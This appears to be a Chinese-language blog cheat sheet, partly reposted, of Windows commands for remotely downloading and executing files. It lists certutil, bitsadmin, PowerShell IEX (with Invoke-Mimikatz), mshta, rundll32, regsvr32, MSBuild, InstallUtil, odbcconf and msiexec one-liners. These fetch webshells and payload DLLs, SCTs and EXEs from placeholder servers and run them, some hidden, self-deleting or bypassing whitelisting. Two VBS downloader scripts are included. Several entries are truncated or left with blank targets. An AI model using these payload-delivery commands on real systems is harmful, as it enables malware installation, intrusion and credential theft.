cmd下远程下载文件命令大全

certutil -urlcache -split -f http://127.0.0.1/webshell.txt
certutil -urlcache -split -f http://127.0.0.1/webshell.txt shell.txt #指定文件名
bitsadmin /transfer n http://127.0.0.1/webshell.txt c:\123\shell.txt #文件路径和名字
#用echo写入
On Error Resume Next  
Dim iRemote,iLocal  
iLocal = LCase(WScript.Arguments(1))  
iRemote = LCase(WScript.Arguments(0))  
Set xPost = createObject("Microsoft.XMLHTTP") 
xPost.Open "GET",iRemote,0 
xPost.Send() 
Set sGet = createObject("ADODB.Stream") 
sGet.Mode = 3 
sGet.Type = 1 
sGet.Open() 
sGet.Write(xPost.responseBody) 
sGet.SaveToFile iLocal,2 

以上代码保存问get.vbs

cscript get.vbs http://127.0.0.1/webshell.txt shell.txt #文件名
powershell (new-object System.Net.WebClient).DownloadFile( 'http://127.0.0.1/webshell.txt','c:\123\shell.txt')
  1. wget.vbs http://www.example.com/a.txt a.txt
Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

Windows下载执行命令大全(转载 https://xz.aliyun.com/t/1654/)

1.bitsadmin命令(只能命令下载到指定路径上,win7以上):

bitsadmin /transfer myDownLoadJob /download /priority normal "http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg" "d:\abc.jpg"
bitsadmin /transfer d90f  %APPDATA%\d90f.exe&%APPDATA%\d90f.exe&del %APPDATA%\d90f.exe

2.powershell命名下载执行:(win7以上)

powershell IEX (New-Object Net.WebClient).DownloadString(''); Invoke-Mimikatz
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.168.183/1.exe’,’C:\111111111111111.exe')
powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg','d:\\1.jpg')

3.mshta命令下载执行

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

mshta http://webserver/payload.hta

mshta \\webdavserver\folder\payload.hta

payload.hta

 



 





demo



 


4.rundll32命令下载执行

rundll32 \\webdavserver\folder\payload.dll,entrypoint

rundll32.exe  javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

参考:https://github.com/3gstudent/Javascript-Backdoor

5.net中的regasm命令下载执行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

6.cmd的远程命令下载:

cmd.exe /k < \webdavserver\folder\batchfile.txt

7.regsvr32命令下载执行

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

regsvr32 /u /s /i: scrobj.dll

js.png







    

    




8.certutil命令下载执行

certutil -urlcache -split -f http://webserver/payload payload 

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

certutil -urlcache -split -f http://site.com/a a.exe && a.exe &&  del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete

9.net中的MSBulid命令下载执行

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

10. odbcconf命令下载执行

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

11.cscript脚本远程命令下载执行

cscript //E:jscript \\webdavserver\folder\payload.txt

downfile.vbs:

' Set your settings

strFileURL = "http://www.it1.net/images/it1_logo2.jpg"

strHDLocation = "c:\logo.jpg"

' Fetch the file

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", strFileURL, false

objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject("ADODB.Stream")

objADOStream.Open

objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0'Set the stream position to the start

Set objFSO = Createobject("Scripting.FileSystemObject")

If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation

objADOStream.Close

Set objADOStream = Nothing

End if

Set objXMLHTTP = Nothing

将以上保存为downfile.vbs

输入命令:cscript downfile.vbs

12.pubprn.vbs下载执行命令

cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:

13.windows自带命令copy

copy \x.x.x.x\xx\poc.exe

xcopy d:\test.exe \x.x.x.x\test.exe

14. IEXPLORE.EXE命令下载执行(需要IE存在oday)

"C:\Program Files\Internet Explorer\IEXPLORE.EXE" 

15.IEEXC命令下载执行

C:\Windows\Microsoft.NET\Framework\v2.0.50727\> caspol -s off

C:\Windows\Microsoft.NET\Framework\v2.0.50727\> IEExec 

参考:https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

16. msiexec命令下载执行

msiexec /q /i 

17.下载命令执行项目GreatSCT


你可能感兴趣的:(cmd下远程下载文件命令大全)